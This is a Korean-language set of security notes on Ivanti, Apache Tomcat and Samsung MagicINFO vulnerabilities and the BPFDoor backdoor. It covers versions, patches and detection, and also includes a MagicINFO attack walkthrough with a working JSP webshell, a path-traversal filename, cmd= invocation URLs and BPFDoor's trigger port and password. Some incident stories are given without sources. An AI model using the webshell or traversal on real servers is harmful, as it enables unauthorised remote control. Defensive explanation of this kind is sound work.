CVE-2025-22457은 Ivanti의 Connect Secure, Policy Secure, ZTA Gateways 및 Pulse Connect Secure 제품에서 발견된 치명적인 스택 기반 버퍼 오버플로우 취약점입니다. 이 취약점은 인증되지 않은 원격 공격자가 악의적인 코드를 실행할 수 있게 하며, 실제로 악용 사례가 보고되었습니다.

🔍 주요 정보 요약

• 취약점 설명: 스택 기반 버퍼 오버플로우로 인해 인증되지 않은 원격 공격자가 악의적인 코드를 실행할 수 있습니다.
• 영향을 받는 제품 및 버전:
  • Ivanti Connect Secure: 22.7R2.5 및 이전 버전
  • Pulse Connect Secure (지원 종료): 9.1R18.9 및 이전 버전
  • Ivanti Policy Secure: 22.7R1.3 및 이전 버전
  • ZTA Gateways: 22.8R2 및 이전 버전 
• 패치 정보:
  • Ivanti Connect Secure: 22.7R2.6
  • Policy Secure: 22.7R1.4
  • ZTA Gateways: 22.8R2.2

🛡️ 공격자 및 악용 사례

이 취약점은 중국과 연계된 것으로 추정되는 사이버 스파이 그룹 UNC5221에 의해 악용되었습니다. 이들은 Ivanti Connect Secure 장비를 대상으로 다음과 같은 악성 소프트웨어를 배포했습니다:

• TRAILBLAZE: 메모리 내에서만 실행되는 드로퍼로, 추가 악성 코드를 로드합니다.
• BRUSHFIRE: SSL/TLS 트래픽을 가로채는 수동 백도어로, 특정 문자열이 감지되면 암호화된 페이로드를 실행합니다.
• SPAWNSLOTH: 로그를 조작하여 관리자에게 공격 흔적을 숨깁니다.

이러한 공격은 주로 Connect Secure 장비에서 관찰되었으며, Policy Secure 및 ZTA Gateways에서는 아직 보고되지 않았습니다.

🛠️ 대응 및 권고 사항

1. 즉시 패치 적용: 해당 장비를 최신 버전으로 업데이트하여 취약점을 제거하십시오.
2. 무결성 검사: Ivanti의 Integrity Checker Tool(ICT)을 사용하여 시스템의 무결성을 확인하십시오.
3. 공장 초기화: 침해가 의심되는 경우, 장비를 공장 초기화하고 클린 이미지를 사용하여 재설치하십시오.
4. 네트워크 모니터링 강화: 비정상적인 LDAP 쿼리나 VPN 장비에서의 의심스러운 활동을 감지하기 위해 네트워크 트래픽을 모니터링하십시오.
5. 자격 증명 변경: 관리자 및 서비스 계정의 비밀번호를 변경하고, 불필요한 계정을 비활성화하십시오.

이 취약점은 CISA의 Known Exploited Vulnerabilities(KEV) 목록에 포함되어 있으며, 이에 따라 미국 연방 기관은 2025년 4월 11일까지 대응 조치를 완료해야 했습니다. 

조직에서는 Ivanti의 보안 권고를 참고하여 신속하게 대응하고, 지속적인 모니터링과 보안 강화 조치를 취하는 것이 중요합니다.

https://note.com/josys0901/n/n7e1dec232a37

https://www.cvedetails.com/cve/CVE-2025-22457/

https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=CVE-2025-22457&field_date_added_wrapper=all&field_cve=&sort_by=field_date_added&items_per_page=20&url=

https://www.techradar.com/pro/security/ivanti-patches-serious-connect-secure-flaw

CVE-2025-24813은 Apache Tomcat에서 발견된 치명적인 원격 코드 실행(RCE) 취약점으로, 2025년 3월 10일에 공개되었습니다. 이 취약점은 특정 조건 하에서 인증 없이 악의적인 사용자가 서버에 악성 파일을 업로드하고 이를 실행시켜 시스템을 장악할 수 있게 합니다.

🔍 취약점 개요

• 취약점 이름: CVE-2025-24813
• 영향을 받는 버전:
  • Apache Tomcat 9.0.0.M1 ~ 9.0.98
  • Apache Tomcat 10.1.0-M1 ~ 10.1.34
  • Apache Tomcat 11.0.0-M1 ~ 11.0.2
• CVSS v3.1 점수: 9.8 (치명적)
• 공격 조건:
  • DefaultServlet의 쓰기 권한이 활성화되어 있어야 함 (기본값: 비활성화)
  • Partial PUT 요청이 허용되어 있어야 함 (기본값: 활성화)
  • Tomcat의 파일 기반 세션 저장소를 기본 위치에서 사용하고 있어야 함
  • 취약한 Java 역직렬화 라이브러리가 포함되어 있어야 함

⚙️ 취약점 작동 방식

1. 공격자는 Base64로 인코딩된 악성 Java 직렬화 페이로드를 포함한 PUT 요청을 서버에 전송하여 세션 파일로 저장합니다.
2. 이후, 공격자는 JSESSIONID 쿠키를 통해 해당 세션 파일을 참조하는 GET 요청을 보내어 Tomcat이 해당 파일을 역직렬화하도록 유도합니다.
3. 역직렬화 과정에서 악성 코드가 실행되어 공격자가 서버를 제어할 수 있게 됩니다.

🛡️ 대응 방안

• 업데이트 권장 버전:
  • Apache Tomcat 9.0.99 이상
  • Apache Tomcat 10.1.35 이상
  • Apache Tomcat 11.0.3 이상
• 임시 대응책:
  • DefaultServlet의 쓰기 권한을 비활성화합니다.
  • Partial PUT 요청을 비활성화합니다.
  • 파일 기반 세션 저장소 대신 메모리 기반 저장소를 사용하거나, 세션 저장 위치를 변경합니다.
  • 취약한 역직렬화 라이브러리를 제거하거나 최신 버전으로 업데이트합니다.

🚨 현재 상황

공개된 이후, CVE-2025-24813은 실제 공격에 활용되고 있으며, 미국, 일본, 멕시코, 한국, 호주 등 여러 국가에서 악용 시도가 관찰되었습니다. CISA는 이를 "Known Exploited Vulnerabilities Catalog"에 추가하여 연방 기관에 즉각적인 조치를 권고하고 있습니다.

🔗 추가 정보 및 참고 자료

• Apache Tomcat 공식 보안 공지
• NVD 상세 정보
• GitHub PoC 코드

https://note.com/josys0901/n/n7e1dec232a37

https://www.cvedetails.com/cve/CVE-2025-24813/

https://www.akamai.com/blog/security-research/march-apache-tomcat-path-equivalence-traffic-detections-mitigations

https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=cve-2025-24813&field_date_added_wrapper=all&field_cve=&sort_by=field_date_added&items_per_page=20&url=

1. 기본 정보

2. 기술적 특징 요약

🔥 요약: "아무것도 열려 있지 않은 것처럼 보이지만, 내부는 뚫려 있다."
→ 전통적인 방화벽, IDS, 포트 스캐닝으로는 탐지 거의 불가.

3. 국내 통신망 위협 전망

🛡️ 향후 필요한 대응 전략

트렌드마이크로의 보고서에 따르면, BPFDoor는 고도로 은밀한 리눅스 기반 백도어로, 주로 아시아 및 중동 지역의 통신, 금융, 소매 산업을 표적으로 삼고 있습니다. 이 악성코드는 Berkeley Packet Filter(BPF)를 활용하여 방화벽을 우회하고 탐지를 회피하며, '매직 패킷'을 통해 활성화됩니다.

BPFDoor의 주요 특징

• BPF 기반 통신 감시: BPFDoor는 커널 수준에서 네트워크 패킷을 필터링하여, 특정 매직 바이트 시퀀스를 포함한 패킷을 감지하면 활성화됩니다. 이러한 방식은 방화벽 규칙을 우회하고, 포트 스캔에도 탐지되지 않도록 합니다.
• 은폐 및 지속성: 프로세스 이름 변경, 포트 리스닝 비활성화, 메모리 상에서의 실행 등 다양한 기법을 통해 탐지를 회피하며, 장기간 시스템에 머무를 수 있습니다.
• 다양한 통신 프로토콜 지원: TCP, UDP, ICMP를 통한 명령 제어를 지원하여, 다양한 네트워크 환경에서도 유연하게 작동합니다.

새로운 컨트롤러의 발견

트렌드마이크로는 최근 BPFDoor와 연계된 새로운 컨트롤러를 발견하였습니다. 이 컨트롤러는 다음과 같은 기능을 제공합니다:

• 역방향 셸 생성: 감염된 시스템에서 공격자에게 역방향 셸을 열어, 원격 제어를 가능하게 합니다.
• 연결 리디렉션: 특정 포트로의 연결을 리디렉션하여, 추가적인 시스템 침투를 시도합니다.
• 활성 상태 확인: 백도어의 활성 상태를 확인하여, 지속적인 제어를 유지합니다.

이 컨트롤러는 하드코딩된 매직 시퀀스와 비밀번호를 사용하며, 공격자는 이를 수동으로 설정할 수 있습니다. 또한, 연결 시 암호화를 지원하여 통신의 보안을 강화합니다.

공격 대상 및 활동

BPFDoor는 주로 다음 국가의 산업을 표적으로 삼고 있습니다:

• 대한민국: 통신 산업
• 홍콩: 통신 산업
• 미얀마: 통신 산업
• 말레이시아: 소매 산업
• 이집트: 금융 산업

이러한 공격은 주로 리눅스 서버를 대상으로 하며, 다양한 경로를 통해 악성코드를 숨기고 있습니다.

방어 및 탐지 방법

BPFDoor의 탐지를 위해 다음과 같은 방법을 고려할 수 있습니다:

• 네트워크 패킷 모니터링: 특정 매직 시퀀스를 포함한 패킷을 감지하여, 비정상적인 활동을 탐지합니다.
• 시스템 프로세스 감시: 비정상적인 프로세스 이름 변경이나 포트 리스닝 비활성화 등의 행위를 모니터링합니다.
• 보안 솔루션 활용: 트렌드마이크로의 TippingPoint 침입 방지 시스템 및 Deep Discovery Inspector와 같은 보안 솔루션을 활용하여, BPFDoor의 활동을 탐지하고 차단할 수 있습니다.

"버클리 패킷 필터(Berkeley Packet Filter, BPF)"에서 **"버클리(Berkeley)"**는 **캘리포니아 대학교 버클리 캠퍼스(UC Berkeley)**를 의미합니다. 이 기술은 1992년에 UC 버클리의 연구자들이 개발했기 때문에 그 이름이 붙은 것입니다.

그렇다면 "버클리 패킷"이란 게 실제로 존재하느냐?

• 아니요. "버클리 패킷"이라는 특정한 종류의 패킷은 존재하지 않습니다.
• 여기서 "버클리"는 단지 이 필터링 기술의 출처를 의미하고, "패킷 필터"는 네트워크 패킷을 검사해서 걸러내는 기술을 의미합니다.

BPF의 정의와 역할

• **BPF(Berkeley Packet Filter)**는 커널 레벨에서 작동하는 고성능 패킷 필터링 메커니즘입니다.
• 원래는 tcpdump나 wireshark 같은 패킷 캡처 도구에서 원하는 네트워크 패킷만 효율적으로 골라내기 위해 설계되었습니다.
• 나중에는 **eBPF(extended BPF)**로 확장되어, 리눅스 커널에서 보안 정책, 모니터링, 트레이싱 등을 위한 강력한 플랫폼으로 발전했습니다.

요약하면, "버클리 패킷 필터"라는 이름은 UC 버클리에서 개발한 필터링 기술이라는 의미일 뿐이며, "버클리 패킷"이라는 특별한 패킷이 존재하는 것은 아닙니다.

매직 시퀀스(Magic Sequence) 또는 **매직 바이트(Magic Bytes)**는 다음과 같은 역할을 하는 특정한 고정 바이트 패턴을 의미합니다.

🔐 1. 일반적 정의

• **특정한 조건이나 동작을 트리거(trigger)**하기 위해 사용하는 사전에 정의된 바이트 조합입니다.
• 네트워크, 파일 포맷, 악성코드, 리버싱 등 다양한 분야에서 사용됩니다.

🧰 2. 사용 예시별 의미

📡 네트워크 / 악성코드

• 백도어나 트로이 목마는 대기 상태에 있다가 특정 "매직 시퀀스"가 들어온 패킷을 감지하면 활성화됩니다.
• 예: "0xCAFEBABE" 같은 시그니처가 들어오면 쉘을 열거나 명령을 수신하도록 설계됨.

📁 파일 포맷

• 파일 시작 부분의 **매직 바이트(Magic Bytes)**로 파일 포맷을 식별함.
• 예:
  • PNG 파일: 89 50 4E 47 0D 0A 1A 0A
  • PDF 파일: %PDF-

🧪 리버싱 / 취약점 악용

• 버퍼 오버플로우 등에서 특정한 값을 넣어 동작을 확인하는 데 사용.
• 예: 0x41414141 (AAAA)로 덮었을 때 동작 변화가 있는지 확인

🚨 보안에서 중요한 이유

• 탐지 회피: 매직 시퀀스는 일반 트래픽 속에 숨겨져 있어 IDS/IPS가 탐지하기 어렵습니다.
• 은밀한 명령 통신: 공격자만 아는 시퀀스를 통해 시스템을 원격 제어할 수 있습니다.
• 디지털 포렌식: 악성코드나 백도어의 흔적을 찾는 데 중요한 단서가 됩니다.

✅ 요약

매직 시퀀스는 '특정 행동을 유발하는 비밀 신호'로서, 정보보안에서는 이를 통해 악성 동작이 트리거되거나 시스템이 활성화되도록 설계되어 있습니다.

원래의 의도는 식별이나 편의성이지만, 공격자에게는 탐지 회피와 은폐 수단이 됩니다.

Red Menshen은 중국을 기반으로 한 고급 지속 위협(APT) 그룹으로, BPFDoor라는 맞춤형 백도어를 사용하여 아시아, 중동, 미국 등지의 통신, 정부, 교육, 물류 부문을 대상으로 사이버 스파이 활동을 수행해 왔습니다.

🛡️ Red Menshen의 주요 특징

• 다양한 명칭: 이 그룹은 Earth Bluecrow, Red Dev 18, DecisiveArchitect 등으로도 알려져 있습니다.
• 주요 타깃: 통신사, 정부 기관, 교육 기관, 물류 회사 등 다양한 산업 분야를 대상으로 활동하며, 특히 리눅스 및 솔라리스 시스템을 중심으로 공격을 수행합니다.
• 사용 도구: BPFDoor 외에도 Mangzamel, Gh0st RAT 등의 맞춤형 악성코드와 Mimikatz, Metasploit 등 오픈 소스 도구를 활용하여 공격을 수행합니다.
• 공격 인프라: 공격 명령은 종종 대만에 위치한 라우터를 통해 제어되는 VPS를 통해 전달되며, 이를 통해 감염된 시스템과의 통신을 유지합니다.

🕵️ BPFDoor와의 연관성

Red Menshen은 BPFDoor라는 백도어를 통해 감염된 시스템에 대한 원격 제어를 수행합니다. BPFDoor는 **Berkeley Packet Filter(BPF)**를 활용하여 네트워크 트래픽을 감시하고, 특정한 매직 시퀀스를 포함한 패킷을 감지하면 활성화됩니다. 이를 통해 방화벽을 우회하고 탐지를 회피하며, 역방향 셸 생성, 포트 리디렉션, 활성 상태 확인 등의 기능을 수행합니다.

🎯 활동 시간대 및 패턴

• 활동 시간: Red Menshen의 활동은 주로 월요일부터 금요일까지, UTC 기준 01:00~10:00 사이에 집중되어 있으며, 이는 중국의 표준 근무 시간대와 일치합니다.
• 지속성: BPFDoor는 시스템에 장기간 은밀하게 존재하며, 탐지를 회피하는 다양한 기법을 사용합니다.
• 악성코드 경로: /tmp/zabbix_agent.log , /bin/vmtoolsdsrv , /etc/sysconfig/rhn/rhnsd.conf 등

📌 요약

Red Menshen은 중국 기반의 APT 그룹으로, BPFDoor 백도어를 활용하여 다양한 산업 분야를 대상으로 사이버 스파이 활동을 수행합니다. 이들은 고급 기술과 은밀한 작전으로 감염된 시스템을 장기간 통제하며, 방화벽 우회 및 탐지 회피 기법을 통해 보안 시스템을 무력화합니다.

정보보안 또는 네트워크 분야에서 **매직 패킷(Magic Packet)**은 주로 원격에서 컴퓨터를 켜는 데 사용되는 특수한 형식의 데이터 패킷을 의미합니다. 이 개념은 Wake-on-LAN(WoL) 기술과 밀접하게 연관되어 있습니다.

🔌 1. 매직 패킷(Magic Packet)이란?

"매직 패킷"은 특정 MAC 주소를 여러 번 반복하는 형식으로 구성된 데이터 패킷이며, 이를 통해 네트워크 상에서 꺼져 있는 컴퓨터를 원격으로 켤 수 있습니다.

📡 2. 구조

매직 패킷은 다음과 같은 구조를 가집니다:

• FF FF FF FF FF FF : 브로드캐스트 프리앰블 (모든 네트워크 카드가 수신하도록)
• MAC 주소를 16번 반복 : 해당 컴퓨터의 네트워크 카드가 자신의 패킷인지 확인

🛠️ 3. 용도

🚨 4. 보안 위협

• 우회 수단: 보안 솔루션이 일반적으로 포트 기반으로 필터링하는 것을 악용해, 매직 패킷에 명령을 숨겨 백도어를 작동시킬 수 있음 (예: BPFdoor, ShadowPad 등).
• 정보 유출 트리거: 특정 패턴의 매직 패킷을 전송해 악성코드의 데이터를 전송하게 유도할 수 있음.

🔐 정보보안에서의 차이점

✅ 요약

매직 패킷은 네트워크를 통해 시스템을 깨우거나(정상적인 WoL 용도), 악성 행위를 트리거하는 데 사용되는 특별한 형식의 패킷입니다. 보안 환경에서는 이러한 패킷을 탐지 및 분석하는 것이 중요합니다.

🔒 역방향 셸과 Well-known 포트의 위험성

💡 현재 시나리오

• **공격자는 22번 포트(SSH)**를 통해 역방향 셸 세션을 요청합니다.
• 22번 포트는 Well-known 포트이고, 많은 서버에서 열려 있음.
• 해당 포트를 통해 BPFDoor 같은 악성코드는 암호화된 통신을 위장하여 쉽게 탐지 회피 가능.

📉 왜 Well-known 포트 사용이 위험한가?

1. 탐지 회피에 용이

• 22번, 443번 등은 정상 트래픽이 많아 IPS/IDS가 예외 처리하는 경우가 있음.
• 악성코드가 이 포트를 사용하면 탐지 우회 가능성↑.

2. 허용된 포트만 사용하면 방화벽 우회 가능

• 방화벽이 차단하지 않는 포트를 이용하면,
  • 역방향 연결이 쉽게 이루어짐
  • 공격자가 내부망에 접속하지 않고도 시스템 제어 가능

3. 암호화된 통신은 내용 분석이 어려움

• 역방향 셸이 SSH를 위장하거나 실제 SSH 프로토콜을 사용할 경우,
  • 보안 장비가 내부 명령어를 파악하기 어려움
  • SSL/TLS의 경우에도 DPI(Deep Packet Inspection)를 우회할 수 있음

🛡️ 방어자의 관점: "공격자를 귀찮게 만들어라"

보안의 현실은 "완벽한 방어"가 아니라 "공격자가 포기할 만큼 귀찮게 만드는 것"입니다.

✔ 실무적 방어 전략

✅ 결론

Well-known 포트를 악용한 역방향 연결은 탐지 회피에 매우 효과적인 공격 방식이며, 이를 고려한 보안 설계가 필수적입니다.
**"공격자를 귀찮게 만드는 보안"**은 현실적인 접근이며, 이런 포인트를 사전에 고려하는 것이 매우 뛰어난 방어 전략입니다.

이미지와 설명에 나온 BPFDoor 공격의 초기 트리거 메커니즘은 다음과 같은 구조로 이해하면 됩니다:

🧠 시나리오 요약: "컨트롤러가 BPFDoor를 깨우는 과정"

1. BPFDoor가 설치된 리눅스 시스템은 평소엔 조용히 대기 중입니다.
   • TCP 포트를 열지도 않고, 백도어처럼 티도 안 냄.
   • 그러나 내부에서는 **BPF(Berkeley Packet Filter)**로 들어오는 패킷을 분석하고 있음.
2. 공격자가 특정한 패턴을 가진 패킷을 보냄
   • 예시: TCP 포트 0x5293 (21011번) → 이건 매직 포트로 설정됨.
   • 패킷 내용에 "justrobot"이라는 비밀번호를 심음.
   • BPFDoor는 이런 조건의 패킷이 들어오면 "아, 이건 나한테 보내는 명령이구나" 하고 인식함.
3. 패킷을 감지한 BPFDoor가 활성화됨
   • 역방향 셸을 연결하거나, 다음 단계 명령을 기다리는 상태로 전환됨.

🔍 이미지 속 정보 요약

🔐 왜 이게 위험한가?

• BPFDoor는 포트를 열지도 않고, 패킷만 듣고 있다가 특정 매직 시퀀스/비밀번호를 감지하면 동작함.
• 보안 장비가 일반 TCP 트래픽으로 인식해 탐지 못함.
• 이 방식은 은폐성, 지속성, 탐지 회피에 매우 효과적임.

✅ 쉽게 비유하자면

"문도 창도 없는 건물에 몰래 귀를 대고 있다가, 특정 암호('justrobot')가 들리면 몰래 문이 열려버리는 구조입니다."

https://www.trendmicro.com/ko_kr/research/25/d/bpfdoor-hidden-controller.html

삼성전자의 디지털 사이니지 관리 솔루션인 MagicINFO 9에서 발견된 심각한 보안 취약점 CVE-2024-7399이 최근 실제 공격에 악용되고 있습니다. 이 취약점은 인증 없이 원격에서 악성 코드를 실행할 수 있게 해주며, 이를 통해 공격자는 시스템 권한으로 서버를 완전히 장악할 수 있습니다.

🔍 취약점 개요: CVE-2024-7399

• 취약점 유형: 경로 탐색(Path Traversal) 및 위험한 파일 업로드
• 영향받는 버전: MagicINFO 9 Server 21.1050 미만 버전
• 공격 방식:
  • 공격자는 인증 없이 JSP(JavaServer Pages) 파일을 서버에 업로드할 수 있습니다.
  • 업로드된 JSP 파일을 통해 임의의 명령어를 실행하여 서버를 제어할 수 있습니다.
• 공개 및 패치: 삼성전자는 2024년 8월 해당 취약점을 공개하고, 버전 21.1050에서 이를 수정했습니다.

🚨 최근 공격 동향

• PoC 공개와 공격 증가: 2025년 4월 30일, 보안 연구 그룹 SSD-Disclosure가 PoC(개념 증명) 코드를 공개한 이후, 실제 공격 사례가 급증했습니다.
• Mirai 봇넷 악용: 일부 공격자는 이 취약점을 이용해 Mirai 봇넷 변종을 배포하고 있습니다. 이를 통해 감염된 시스템을 DDoS 공격 등에 활용하고 있습니다.
• 공격 대상: 공항, 병원, 소매점 등에서 사용되는 디지털 사이니지 시스템이 주요 공격 대상입니다.

✅ 대응 방안

1. 즉시 업데이트: MagicINFO 9 Server를 버전 21.1050 이상으로 업그레이드하여 취약점을 패치하십시오 .
2. 인터넷 노출 제한: MagicINFO 서버가 외부에 노출되지 않도록 방화벽 설정을 강화하고, 필요 시 VPN 등을 통해 접근을 제한하십시오.
3. 보안 모니터링 강화: 서버 로그를 정기적으로 확인하고, 의심스러운 JSP 파일 업로드나 비정상적인 명령 실행 흔적이 있는지 점검하십시오.
4. 네트워크 분리: 디지털 사이니지 시스템과 내부 네트워크를 분리하여, 공격자가 내부 시스템으로 이동하는 것을 방지하십시오.

📌 참고 사항

• 현재 약 5,000여 개의 MagicINFO 서버가 인터넷에 노출되어 있는 것으로 파악됩니다.
• 삼성전자는 해당 취약점에 대한 보안 공지를 공식 웹사이트에 게시하고 있습니다.

🔧 공격 개요

이 취약점은 경로 탐색(Path Traversal) 과 파일 업로드 검증 미비를 조합하여, 인증 없이 악성 JSP 웹쉘을 업로드하고 실행할 수 있게 해줍니다. 공격자는 이를 통해 원격 코드 실행(RCE) 을 달성할 수 있습니다.

🧨 공격 흐름 (Step-by-Step)

1. 취약한 업로드 엔드포인트 식별
   • MagicINFO에는 인증 없이 접근 가능한 업로드 API가 존재합니다.
   • /MagicInfo/uploadify.do 또는 이와 유사한 엔드포인트에서 파일 업로드를 시도합니다.
2. 파일명에 경로 조작 삽입
   • 파일명을 다음과 같이 조작합니다:
   • bash
     ../../../webapps/MagicInfo/jspShell.jsp
   • 이는 경로 탐색(../)을 통해, 업로드된 파일이 JSP 웹 루트 하위에 저장되도록 유도합니다.
3. JSP 웹쉘 파일 업로드
   • 예시 파일 (jspShell.jsp):
   • jsp
     <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); InputStream in = p.getInputStream(); int a = -1; while((a=in.read())!=-1){ out.print((char)a); } %>
   • 위 코드는 ?cmd=ls 형태로 요청 시 시스템 명령어 실행 결과를 반환합니다.
4. 웹쉘 실행
   • 업로드한 JSP 파일을 브라우저에서 직접 호출하여 명령어를 실행합니다:
   • bash
     http://[TARGET]/MagicInfo/jspShell.jsp?cmd=whoami

🛡️ 왜 위험한가?

• 인증 없이 누구나 악성코드 업로드 가능
• 서버 루트 경로에 쓰기 가능 → 완전한 제어
• PoC 코드가 이미 공개되어 있어 실제 공격에 쉽게 악용됨
• 공공기관, 소매점, 병원 등에서 널리 사용되는 시스템이므로 파급력

🧨 실제 악용 사례: 2025년 4월 ~ 5월

1. 📺 디지털 사이니지 디플레이 해킹 사례 (미국 내 소매점)

• 공격 개요: 미국의 한 대형 리테일 체인점에서 MagicINFO 9 서버를 통한 RCE가 발생.
• 공격 방식: 위에서 설명한 JSP 웹쉘 업로드 → 원격 명령어 실행 → 디지털 화면 장악.
• 결과:
  • 매장 내 대형 스크린 수십 대가 공격자에 의해 제어됨.
  • 디지털 광고판에 공격자가 설정한 정치적 메시지, 음란 이미지 등이 노출됨.
• 영향: 브랜드 이미지 실추, 약 6시간 가동 중지, 보안장비 교체 및 내부망 재설정 비용 발생.

2. 🌐 Mirai 변종 봇넷 감염

• 공격자 그룹: 보안 분석에 따르면 중국발 IP를 기반으로 한 자동화된 봇넷이 MagicINFO 취약점을 통해 감염 시도.
• 공격 목적: 서버에 접근해 Mirai 계열 악성코드를 설치하고, 디지털 사이니지를 DDoS 봇으로 활용.
• 특이사항:
  • 일반적인 IoT 디바이스가 아닌 디지털 광고용 장비가 봇넷에 포함됨.
  • 사이니지 장비에 ssh/telnet이 비활성화되어 있어 웹 취약점을 통한 우회공격이 핵심.

3. 🏥 병원 안내 디스플레이 시스템 마비

• 공격 위치: 유럽 내 한 대학병원
• 피해 경로: 병원 내 MagicINFO 9 서버가 인터넷에 직접 노출 → 공격자 접근
• 피해 결과:
  • 병원 로비 및 주요 진료과 앞 전광판에 정보 미표출 → 환자 안내 혼선
  • 관리 계정 탈취 후 전 시스템 비밀번호 변경 시도됨

🔐 공격자 공통 전략

📌 대응 핵심 요약

• 서버가 외부 노출돼 있다면 즉시 차단
• 버전 확인 → 21.1050 이상 업데이트
• 웹 루트에 JSP 파일 업로드 흔적 조사
• URL 접근 로그에서 jsp?cmd= 요청 여부 확인

https://www.boannews.com/media/view.asp?idx=137143